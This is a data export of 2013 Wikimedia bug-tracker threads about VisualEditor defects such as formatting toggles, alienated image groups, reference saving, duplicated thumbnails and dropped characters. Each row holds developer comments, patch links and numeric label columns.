+248888,"VisualEditor: Attempting to de-bold a selection causes text to become ""extra-bold""","There is a related problem with italic: try the same STR on the second line of the Sfoij page, using the ""italic"" toolbar button instead of ""bold"". But I think it is the same issue.",,,1372162241,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-j223oppi3t252tmumwbg,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+52165,VisualEditor: Groups of images are alienated under certain circumstances,"Groups of consecutive images are alienated under certain circumstances. 
+
+It might have something to do with the wikilinks in the image caption, however I really just have to throw you some testcases:
+
+---
+(1) Works fine:
+http://en.wikipedia.org/w/index.php?title=User:This,_that_and_the_other/sandbox/VE2&oldid=561493135&veaction=edit
+
+(2) Similar, but doesn't work:
+http://en.wikipedia.org/w/index.php?title=User:This,_that_and_the_other/sandbox/VE2&oldid=561493351&veaction=edit
+
+(3) All three groups uneditable, even the group that is identical to (1) above:
+http://en.wikipedia.org/w/index.php?title=User:This,_that_and_the_other/sandbox/VE2&oldid=561493252&veaction=edit
+
+(4) One group fine, the other alienated:
+http://en.wikipedia.org/w/index.php?title=User:This,_that_and_the_other/sandbox/VE2&oldid=561493194&veaction=edit
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1372155360,1372298506.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-cohcqit7cjc474qs3bul,task_description,resolved,True,c1,2,False,False,True,-1,,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,1,1,0,0,1,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1
+248583,VisualEditor: Groups of images are alienated under certain circumstances,See bug 51039.,,,1373422404,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-cohcqit7cjc474qs3bul,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+248578,VisualEditor: Groups of images are alienated under certain circumstances,"(In reply to comment #3)
+> (In reply to comment #1)
+> > Do they work for you too?
+> 
+> Sorry, yes the testcases do all work now.
+
+Yay. Marking as fixed. :-)",,,1372298506,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cohcqit7cjc474qs3bul,task_subcomment,,True,c1,2,True,,,-1,,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,1,0,1,1,1,1,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,1
+248569,VisualEditor: Groups of images are alienated under certain circumstances,"(In reply to comment #1)
+> Do they work for you too?
+
+Sorry, yes the testcases do all work now.",,,1372225473,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-cohcqit7cjc474qs3bul,task_subcomment,,True,c1,2,False,,,-1,,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,1,1,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,1
+248564,VisualEditor: Groups of images are alienated under certain circumstances,Could you check [[History of Delta Air Lines#1960s_and_1970s]]?,,,1372225448,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-cohcqit7cjc474qs3bul,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,1
+248557,VisualEditor: Groups of images are alienated under certain circumstances,"(In reply to comment #0)
+> Groups of consecutive images are alienated under certain circumstances. 
+> 
+> It might have something to do with the wikilinks in the image caption,
+> however
+> I really just have to throw you some testcases:
+> 
+> ---
+> (1) Works fine:
+> http://en.wikipedia.org/w/index.php?title=User:This,_that_and_the_other/
+> sandbox/VE2&oldid=561493135&veaction=edit
+> 
+> (2) Similar, but doesn't work:
+> http://en.wikipedia.org/w/index.php?title=User:This,_that_and_the_other/
+> sandbox/VE2&oldid=561493351&veaction=edit
+> 
+> (3) All three groups uneditable, even the group that is identical to (1)
+> above:
+> http://en.wikipedia.org/w/index.php?title=User:This,_that_and_the_other/
+> sandbox/VE2&oldid=561493252&veaction=edit
+> 
+> (4) One group fine, the other alienated:
+> http://en.wikipedia.org/w/index.php?title=User:This,_that_and_the_other/
+> sandbox/VE2&oldid=561493194&veaction=edit
+
+These now all work for me - we've updated Parsoid (and purged the cached versions to avoid corruption from old things), which is (I think) the cause of these issues. Do they work for you too?",,,1372221560,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cohcqit7cjc474qs3bul,task_subcomment,,True,c1,2,True,,,-1,,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,1,1,0,0,1,1,1,1,1,0,1,1,0,0,1,1,1,0,1,0,1,0,1,0,1,1,1,0,0,0,0,1,0,1,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,0,1,0,0,0,1
+52161,VisualEditor: VE won't let user save after editing a reference,"http://it.wikipedia.org/wiki/Utente:Syrio/Bozzoli, we tried changing the author's name in ref.6 to ""abbé Paul Guérin"". VE allows editing it, but after clicking twice on Apply Changes, the former name is still displayed and the page can not be saved as the button does not work. (Also, it does not allow us to re-try immediately or to edit other references, you need to reload the page for that). So I did a dummy edit to plain text, and I was allowed to save then, but the result http://it.wikipedia.org/w/index.php?title=Utente%3ASyrio%2FBozzoli&diff=59659908&oldid=59651683 has nothing to do with poor abbé Guérin.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1372150800,1373417844.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-jgkllstpxv33sn72mt5f,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,0,1,0,1,0,0,1,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,1,1,0,0,0
+248352,VisualEditor: VE won't let user save after editing a reference,"(In reply to comment #4)
+> You are right, it works now. Can this be due to people adding TemplateData to
+> that template?
+
+It's possible that TemplateData would mean that it was difficult to edit, yes; sorry. :-(
+
+> Since we're here, I attached the screenshot of what happens when
+> you try and edit it with Vector. You need to reach and click the light blue
+> bar in order to change something in that line. It works, though.
+
+Argh, yes, that's bug 49818 which I thought we had fixed; is this problem still happnening for you? :-(",,,1373417844,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-jgkllstpxv33sn72mt5f,task_subcomment,,True,c1,3,True,,,1,,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,1,0,1,1,1,1,0,1,0,1,1,0,0,1,1,1,1,1,1,1,1,0,0,0,1,0,0,1,0,0,1,0,0,1,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,1
+248348,VisualEditor: VE won't let user save after editing a reference,"(Sorry, that was meant to be ""with Vector on Chrome"", it's ok on FF).",,,1373308926,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-jgkllstpxv33sn72mt5f,task_subcomment,,True,c1,3,False,,,1,,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,0
+248343,VisualEditor: VE won't let user save after editing a reference,"You are right, it works now. Can this be due to people adding TemplateData to that template? Since we're here, I attached the screenshot of what happens when you try and edit it with Vector. You need to reach and click the light blue bar in order to change something in that line. It works, though.",,,1373308703,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-jgkllstpxv33sn72mt5f,task_subcomment,,True,c1,3,False,,,1,,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,1,0,1,1,1,1,0,1,0,1,1,0,0,1,0,1,1,0,1,1,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+248337,VisualEditor: VE won't let user save after editing a reference,"Created attachment 12788
+Reference editing window
+
+**Attached**: {F11670}",,,1373308463,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-jgkllstpxv33sn72mt5f,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+248331,VisualEditor: VE won't let user save after editing a reference,"[Sorry, can't check before tomorrow. Thanks.]",,,1373229247,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-jgkllstpxv33sn72mt5f,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1
+248324,VisualEditor: VE won't let user save after editing a reference,"[Sorry for being so late in replying to this bug!]
+
+Can this still be reproduced? If so, in what browser? I can edit the reference fine in Firefox and Chrome.
+
+(When you edit a reference, VisualEditor goes off and asks for the reference list to be re-created; temporarily, while that is happening, the original form remains shown in the reference list. However, this behaviour should be very quick, and should not prevent the user from editing.)",,,1373162537,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-jgkllstpxv33sn72mt5f,task_subcomment,,True,c1,3,True,,,0,,0,0,1,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,1,0,0,1,0,0,1,0,0,1,1,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+52158,VisualEditor: Image insertion dialog shows thumbnails twice in non-English context (possibly due to repeated results under File: and Datei:?),"Screenshot
+
+Image dialog shows thumbnails twice, see screenshots.
+
+Maybe 1 from local wiki and 1 from Commons, which are most of the times identical?
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11660}",High,80.0,1372146180,1373763691.0,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-43bme3ubhjcp6xf3kyaw,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0
+248184,VisualEditor: Image insertion dialog shows thumbnails twice in non-English context (possibly due to repeated results under File: and Datei:?),This was fixed and deployed on Thursday.,,,1373763691,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-43bme3ubhjcp6xf3kyaw,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+248183,VisualEditor: Image insertion dialog shows thumbnails twice in non-English context (possibly due to repeated results under File: and Datei:?),"Change 73190 merged by jenkins-bot:
+Normalize image titles in cache to prevent duplicates.
+
+https://gerrit.wikimedia.org/r/73190",,,1373578658,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-43bme3ubhjcp6xf3kyaw,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+248181,VisualEditor: Image insertion dialog shows thumbnails twice in non-English context (possibly due to repeated results under File: and Datei:?),"Change 73190 had a related patch set uploaded by Robmoen:
+Normalize image titles in cache to prevent duplicates.
+
+https://gerrit.wikimedia.org/r/73190",,,1373562735,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-43bme3ubhjcp6xf3kyaw,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+248178,VisualEditor: Image insertion dialog shows thumbnails twice in non-English context (possibly due to repeated results under File: and Datei:?),^^ You are correct.  this is happening because we are getting results from both namespaces.  File and Fichier in this case.,,,1373499189,,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,,PHID-TASK-43bme3ubhjcp6xf3kyaw,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+248174,VisualEditor: Image insertion dialog shows thumbnails twice in non-English context (possibly due to repeated results under File: and Datei:?),"(In reply to comment #2)
+> I can't reproduce this in Forefix 21.
+
+Oh, sorry, I see you were on frwiki. This doesn't happen on enwiki or mediawikiwiki, but I can reproduce it on frwiki and dewiki.
+
+Perhaps VE doesn't know about localised names for the ""File"" namespace. That's just a guess.",,,1372153753,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-43bme3ubhjcp6xf3kyaw,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,1
+248167,VisualEditor: Image insertion dialog shows thumbnails twice in non-English context (possibly due to repeated results under File: and Datei:?),I can't reproduce this in Forefix 21.,,,1372153025,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-43bme3ubhjcp6xf3kyaw,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+248160,VisualEditor: Image insertion dialog shows thumbnails twice in non-English context (possibly due to repeated results under File: and Datei:?),"Created attachment 12632
+Screenshot
+
+**Attached**: {F11661}",,,1372146249,,PHID-USER-3uecblbxq24ycewm2cog,False,,,PHID-TASK-43bme3ubhjcp6xf3kyaw,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+52149,VisualEditor: Editing leads to some characters (of wikitext) cut off in later section,"**Author:** `brassratgirl`
+
+**Description:**
+See this diff: 
+https://en.wikipedia.org/w/index.php?title=Uganda&diff=561452947&oldid=560332103
+
+adding a sentence to the lede section saved properly, but also had unwanted behavior of cutting off the first letter of the first word of a random paragraph in a later section (removed 'l' from ""Lake Kyoga"" under 'geography'). 
+
+Firefox 21.0 on Ubuntu 12.04.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1372128420,1373056082.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-z4n2utsm2obyfevr5eud,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,1,0,0,0
+247670,VisualEditor: Editing leads to some characters (of wikitext) cut off in later section,I believe we have now fixed this; please re-open if it recurs.,,,1373056082,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-z4n2utsm2obyfevr5eud,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+247664,VisualEditor: Editing leads to some characters (of wikitext) cut off in later section,Can't reproduce in master yet.,,,1372175257,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-z4n2utsm2obyfevr5eud,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+247659,VisualEditor: Editing leads to some characters (of wikitext) cut off in later section,"**brassratgirl** wrote:
+
+Tried editing another, later section in the same article and got this: 
+https://en.wikipedia.org/w/index.php?title=Uganda&diff=561456536&oldid=561456189
+
+the changes I intended to make were made (added a link, copyediting) but spaces around template dates were added (more normalization) and the same initial letter (the 'l' of lake) and bracket from the same image file were removed. VisEd *really* doesn't like something about that paragraph!",,,1372130068,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-z4n2utsm2obyfevr5eud,task_subcomment,,True,c1,2,False,,,-1,,0,1,0,1,1,1,0,0,0,0,1,1,0,0,0,1,1,1,1,1,1,0,0,0,1,0,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,1,1,0,0
+247654,VisualEditor: Editing leads to some characters (of wikitext) cut off in later section,"(In reply to comment #1)
+> Also added some quotes to refnames
+
+That's ""just"" normalisation, which we can fix (by making sure that what we send Parsoid is exactly the same, so it leaves it alone); see bug 50071.
+
+> and removed a bracket from an image link later on.
+
+Yeah, this is very not good, and really hard to understand how it happens. Roan, thoughts?",,,1372129295,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-z4n2utsm2obyfevr5eud,task_subcomment,,True,c1,2,True,,,-1,,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+247649,VisualEditor: Editing leads to some characters (of wikitext) cut off in later section,"**brassratgirl** wrote:
+
+Also added some quotes to refnames and removed a bracket from an image link later on.",,,1372128699,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-z4n2utsm2obyfevr5eud,task_subcomment,,True,c1,2,False,,,-1,,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+52141,VisualEditor: Indentation toolbar buttons should not be enabled by default,"They're currently enabled on page load. Even when dismissing the notice and clicking around in the first paragraph it stays.
+
+It finally disables itself after a node change (e.g. click the second paragraph and then back).
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=44083",High,80.0,1372115880,1372381096.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-h7bfc7jy5zuiok7zj7zv,task_description,resolved,True,c1,2,True,False,True,-1,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0
+247329,VisualEditor: Indentation toolbar buttons should not be enabled by default,This has been fixed and will be deployed very soon.,,,1372381096,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-h7bfc7jy5zuiok7zj7zv,task_subcomment,,True,c1,2,True,,,-1,,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+247326,VisualEditor: Indentation toolbar buttons should not be enabled by default,"Change 70936 merged by jenkins-bot:
+Init surface after toolbar is setup vs. before.
+
+https://gerrit.wikimedia.org/r/70936",,,1372375419,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h7bfc7jy5zuiok7zj7zv,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+247324,VisualEditor: Indentation toolbar buttons should not be enabled by default,"Change 70936 had a related patch set uploaded by Robmoen:
+Init surface after toolbar is setup vs. before.
+
+https://gerrit.wikimedia.org/r/70936",,,1372375072,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h7bfc7jy5zuiok7zj7zv,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+247317,VisualEditor: Indentation toolbar buttons should not be enabled by default,"From conversation earlier today:
+
+It may be possible to hack the button to be disabled by default, but that would introduce the opposite bug where the indention tool would be disabled instead of enabled in a document that starts with a list, requiring the user to move out of the list and back in to be able to indent.
+
+Basically we should make sure that our hooks that make the button enabled/disabled on node focus change also trigger when initially focussing the first node in the document (instead of only from the second node focus onwards).",,,1372143779,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-h7bfc7jy5zuiok7zj7zv,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0
+52132,VisualEditor: Doing anything in a slug after an internal node throws an error,"
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1372109460,1372113370.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-tbvrdwvxvbqqobem3szn,task_description,resolved,True,c1,2,True,False,True,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+246777,VisualEditor: Doing anything in a slug after an internal node throws an error,This should now be fixed.,,,1372113370,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-tbvrdwvxvbqqobem3szn,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+246774,VisualEditor: Doing anything in a slug after an internal node throws an error,Related URL: https://gerrit.wikimedia.org/r/70333 (Gerrit Change I3818ebe9816e7d781233f087b15694bf7ba12965),,,1372112447,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-tbvrdwvxvbqqobem3szn,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
